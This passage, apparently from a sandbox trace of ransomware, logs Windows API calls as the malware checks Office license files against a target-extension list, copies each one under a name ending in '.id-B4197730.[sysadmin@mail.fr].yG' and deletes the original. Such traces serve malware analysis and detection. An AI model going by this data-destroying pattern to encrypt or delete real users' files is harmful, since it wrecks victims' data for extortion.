	[0174.445] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.445] lstrlenW (lpString=".zip") returned 4
	[0174.445] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".rar") returned 4
	[0174.445] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".bz2") returned 4
	[0174.445] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.445] lstrlenW (lpString=".7z") returned 3
	[0174.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.446] lstrlenW (lpString=".dbf") returned 4
	[0174.446] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.446] lstrlenW (lpString=".1cd") returned 4
	[0174.446] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms") returned 84
	[0174.446] lstrlenW (lpString=".jpg") returned 4
	[0174.446] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.446] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11183) returned 1
	[0174.446] CloseHandle (hObject=0x4d8) returned 1
	[0174.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220
	[0174.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.448] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.449] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0174.450] GetLastError () returned 0x0
	[0174.450] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2baf, lpOverlapped=0x0) returned 1
	[0174.466] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0174.467] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.467] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x116, lpOverlapped=0x0) returned 1
	[0174.467] SetEndOfFile (hFile=0x47c) returned 1
	[0174.467] CloseHandle (hObject=0x47c) returned 1
	[0174.468] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.468] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.472] CloseHandle (hObject=0x4d8) returned 1
	[0174.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.472] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 1
	[0174.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.473] lstrlenW (lpString=".doc") returned 4
	[0174.473] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.473] lstrlenW (lpString=".docx") returned 5
	[0174.473] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.473] lstrlenW (lpString=".pdf") returned 4
	[0174.473] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.473] lstrlenW (lpString=".xls") returned 4
	[0174.473] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString=".xlsx") returned 5
	[0174.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.474] lstrlenW (lpString=".ppt") returned 4
	[0174.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.474] lstrlenW (lpString=".zip") returned 4
	[0174.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString=".rar") returned 4
	[0174.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString=".bz2") returned 4
	[0174.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString=".7z") returned 3
	[0174.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.474] lstrlenW (lpString=".dbf") returned 4
	[0174.474] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.474] lstrlenW (lpString=".1cd") returned 4
	[0174.474] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms") returned 83
	[0174.474] lstrlenW (lpString=".jpg") returned 4
	[0174.474] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.475] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11635) returned 1
	[0174.475] CloseHandle (hObject=0x4d8) returned 1
	[0174.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0174.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.476] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.476] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0174.477] GetLastError () returned 0x0
	[0174.477] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0174.676] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0174.678] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.678] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0174.678] SetEndOfFile (hFile=0x47c) returned 1
	[0174.678] CloseHandle (hObject=0x47c) returned 1
	[0174.678] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.678] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.690] CloseHandle (hObject=0x4d8) returned 1
	[0174.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0174.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.693] lstrlenW (lpString=".doc") returned 4
	[0174.693] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.693] lstrlenW (lpString=".docx") returned 5
	[0174.693] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.693] lstrlenW (lpString=".pdf") returned 4
	[0174.693] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.693] lstrlenW (lpString=".xls") returned 4
	[0174.693] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.693] lstrlenW (lpString=".xlsx") returned 5
	[0174.693] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.693] lstrlenW (lpString=".ppt") returned 4
	[0174.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.694] lstrlenW (lpString=".zip") returned 4
	[0174.694] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString=".rar") returned 4
	[0174.694] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString=".bz2") returned 4
	[0174.694] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString=".7z") returned 3
	[0174.694] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.694] lstrlenW (lpString=".dbf") returned 4
	[0174.694] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.694] lstrlenW (lpString=".1cd") returned 4
	[0174.694] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0174.694] lstrlenW (lpString=".jpg") returned 4
	[0174.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.695] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11669) returned 1
	[0174.695] CloseHandle (hObject=0x4d8) returned 1
	[0174.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0174.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.697] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.697] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0174.699] GetLastError () returned 0x0
	[0174.699] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d95, lpOverlapped=0x0) returned 1
	[0174.713] WriteFile (in: hFile=0x570, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0174.715] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.715] WriteFile (in: hFile=0x570, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x12e, lpOverlapped=0x0) returned 1
	[0174.715] SetEndOfFile (hFile=0x570) returned 1
	[0174.715] CloseHandle (hObject=0x570) returned 1
	[0174.715] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.716] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.819] CloseHandle (hObject=0x4d8) returned 1
	[0174.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0174.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.821] lstrlenW (lpString=".doc") returned 4
	[0174.821] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".docx") returned 5
	[0174.821] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.821] lstrlenW (lpString=".pdf") returned 4
	[0174.821] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".xls") returned 4
	[0174.821] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".xlsx") returned 5
	[0174.821] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.821] lstrlenW (lpString=".ppt") returned 4
	[0174.821] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.821] lstrlenW (lpString=".zip") returned 4
	[0174.821] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".rar") returned 4
	[0174.821] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".bz2") returned 4
	[0174.821] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString=".7z") returned 3
	[0174.821] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.821] lstrlenW (lpString=".dbf") returned 4
	[0174.821] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.822] lstrlenW (lpString=".1cd") returned 4
	[0174.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95
	[0174.822] lstrlenW (lpString=".jpg") returned 4
	[0174.822] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.822] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11619) returned 1
	[0174.822] CloseHandle (hObject=0x4d8) returned 1
	[0174.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220
	[0174.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0174.823] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.823] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0174.824] GetLastError () returned 0x0
	[0174.824] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0174.914] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0174.915] ReadFile (in: hFile=0x4d8, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.915] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.916] SetEndOfFile (hFile=0x554) returned 1
	[0174.916] CloseHandle (hObject=0x554) returned 1
	[0174.916] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.916] SetEndOfFile (hFile=0x4d8) returned 1
	[0174.919] CloseHandle (hObject=0x4d8) returned 1
	[0174.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1
	[0174.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.921] lstrlenW (lpString=".doc") returned 4
	[0174.921] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".docx") returned 5
	[0174.921] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.921] lstrlenW (lpString=".pdf") returned 4
	[0174.921] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".xls") returned 4
	[0174.921] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".xlsx") returned 5
	[0174.921] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.921] lstrlenW (lpString=".ppt") returned 4
	[0174.921] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.921] lstrlenW (lpString=".zip") returned 4
	[0174.921] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".rar") returned 4
	[0174.921] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".bz2") returned 4
	[0174.921] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.921] lstrlenW (lpString=".7z") returned 3
	[0174.922] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0174.922] lstrlenW (lpString=".dbf") returned 4
	[0174.922] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
